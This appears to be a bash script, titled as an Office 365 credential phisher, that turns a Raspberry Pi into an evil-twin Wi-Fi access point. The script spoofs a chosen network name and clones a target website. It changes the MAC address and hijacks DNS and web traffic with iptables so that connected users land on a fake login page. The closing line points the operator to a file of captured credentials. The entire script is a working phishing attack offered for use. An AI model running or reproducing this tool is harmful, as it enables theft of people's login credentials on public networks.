0365_Captive.sh 4.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133
  1. #!/bin/bash/
  2. # Color variables
  3. red='\033[0;31m'
  4. green='\033[0;32m'
  5. yellow='\033[0;33m'
  6. blue='\033[0;34m'
  7. magenta='\033[0;35m'
  8. cyan='\033[0;36m'
  9. # Clear the color after that
  10. clear='\033[0m'
  11. cat << "EOF"
  12. ___ ____ __ _____ _____ _
  13. / _ \___ \ / /| ____| | __ \ (_)
  14. | | | |__) |/ /_| |__ | | | | ___ _ __ ___ __ _ _ _ __
  15. | | | |__ <| '_ \___ \ | | | |/ _ \| '_ ` _ \ / _` | | '_ \
  16. | |_| |__) | (_) |__) | | |__| | (_) | | | | | | (_| | | | | |
  17. \___/____/ \___/____/ |_____/ \___/|_| |_| |_|\__,_|_|_| |_|
  18. _____ _ _ _ _ _____ _ _ _
  19. / ____| | | | | (_) | | | __ \| | (_) | |
  20. | | _ __ ___ __| | ___ _ __ | |_ _ __ _| | | |__) | |__ _ ___| |__ ___ _ __
  21. | | | '__/ _ \/ _` |/ _ \ '_ \| __| |/ _` | | | ___/| '_ \| / __| '_ \ / _ \ '__|
  22. | |____| | | __/ (_| | __/ | | | |_| | (_| | | | | | | | | \__ \ | | | __/ |
  23. \_____|_| \___|\__,_|\___|_| |_|\__|_|\__,_|_| |_| |_| |_|_|___/_| |_|\___|_|
  24. EOF
  25. echo ""
  26. echo -e ${green}"Which interface do you want to use as your AP NIC? Example: wlan1"${clear}
  27. echo ""
  28. read AP
  29. sleep 1
  30. echo -e ${yellow}"Using $AP as your AP interface"${clear}
  31. echo ""
  32. echo -e ${green}"What is the Wifi network you want to spoof? Example: Starbucks Corporate Wifi"${clear}
  33. echo ""
  34. read SSID
  35. sleep 1
  36. echo -e ${yellow}"Using $SSID as your spoofed network"${clear}
  37. sleep 1
  38. echo ""
  39. echo -e ${green}"What is the domain you want to spoof on your network? Example: starbucks.com"${clear}
  40. echo ""
  41. read domain
  42. sleep 1
  43. echo -e ${yellow}"Using $domain as your spoofed domain"${clear}
  44. sleep 1
  45. echo ""
  46. echo -e ${green}"Enter Website URL To Clone. Example: https://www.starbucks.com"${clear}
  47. echo ""
  48. read URL
  49. echo -e ${yellow}"Cloning $URL"${clear}
  50. echo ""
  51. systemctl stop dnsmasq
  52. /usr/bin/chromium-browser --no-sandbox 2>/dev/null
  53. runuser -u pi -- ./SingleFile/cli/single-file $URL --browser-executable-path=/usr/bin/chromium-browser /home/pi/index.html
  54. echo ""
  55. echo ${yellow}"Cloning finished"${clear}
  56. echo ""
  57. sleep 1
  58. echo -e ${yellow}"$URL Cloned Successfully"${clear}
  59. sleep 2
  60. #Copying Resources
  61. cp Resources/hosts . 2>/dev/null
  62. cp Resources/dnsmasq.conf . 2>/dev/null
  63. cp Resources/hostapd.conf . 2>/dev/null
  64. cp Resources/index.html . 2>/dev/null
  65. cp Resources/authenticate.html . 2>/dev/null
  66. cp Resources/post.php . 2>/dev/null
  67. #Replacing Variables In Files
  68. sed -i "s/domain/${domain}g/" post.php
  69. sed -i "s/domain/${domain}/g" index.html
  70. sed -i "s/10.1.1.1/${domain}/g" dnsmasq.conf
  71. sed -i "s/AP/${AP}/g" hostapd.conf
  72. sed -i "s/SSID/${SSID}/g" hostapd.conf
  73. sed -i "s/domain/${domain}/g" authenticate.html
  74. sed -i "s/domain/${domain}/g" hosts
  75. #Replaceing Resources
  76. rm /etc/hostapd/hostapd.conf 2>/dev/null
  77. mv hostapd.conf /etc/hostapd/hostapd.conf
  78. mv index.html /var/www/html/redirect/
  79. mv authenticate.html /var/www/html/
  80. mv post.php /var/www/html/
  81. mv hosts /etc/hosts
  82. echo ""
  83. sleep 1
  84. echo -e ${green}"Moving Your Index.html File Into Apache"${clear}
  85. echo ""
  86. mv /home/pi/index.html /var/www/html/index.html
  87. echo -e ${green}"Starting Apache"${clear}
  88. service apache2 start
  89. sleep 1
  90. echo ""
  91. echo -e ${green}"Changing $AP MAC Address"${clear}
  92. echo ""
  93. ifconfig $AP down
  94. macchanger -A $AP
  95. sleep 1
  96. ifconfig $AP up
  97. sleep 1
  98. echo ""
  99. echo -e ${green}"Configuring $AP Into An Access Point"${clear}
  100. echo ""
  101. hostapd -B /etc/hostapd/hostapd.conf
  102. sleep 2
  103. echo ""
  104. echo -e ${green}"Bringing Up The Bridge"${clear}
  105. echo ""
  106. ifconfig br0 up
  107. sleep 2
  108. ifconfig br0 10.1.1.1 netmask 255.255.255.0
  109. sysctl net.ipv4.ip_forward=1
  110. echo ""
  111. echo -e ${green}"Copying Redirect Into Cloned Page"${clear}
  112. echo ""
  113. echo "<meta http-equiv="refresh" content=2;URL='http://${domain}/authenticate.html'>">> /var/www/html/index.html
  114. echo -e ${green}"Setting IPTables"${clear}
  115. iptables --flush
  116. iptables -t nat --flush
  117. iptables -t nat -A PREROUTING -i br0 -p udp -m udp --dport 53 -j DNAT --to-destination 10.1.1.1:53
  118. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 10.1.1.1:80
  119. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 443 -j DNAT --to-destination 10.1.1.1:443
  120. iptables -t nat -A POSTROUTING -j MASQUERADE
  121. sleep 2
  122. echo ""
  123. echo -e ${green}"Starting Rouge DNS"${clear}
  124. service dnsmasq start
  125. sleep 4
  126. echo ""
  127. echo -e ${red}"Access Point Should Be Up. Watch /var/www/html/creds.txt For Creds"${clear}
  128. echo ""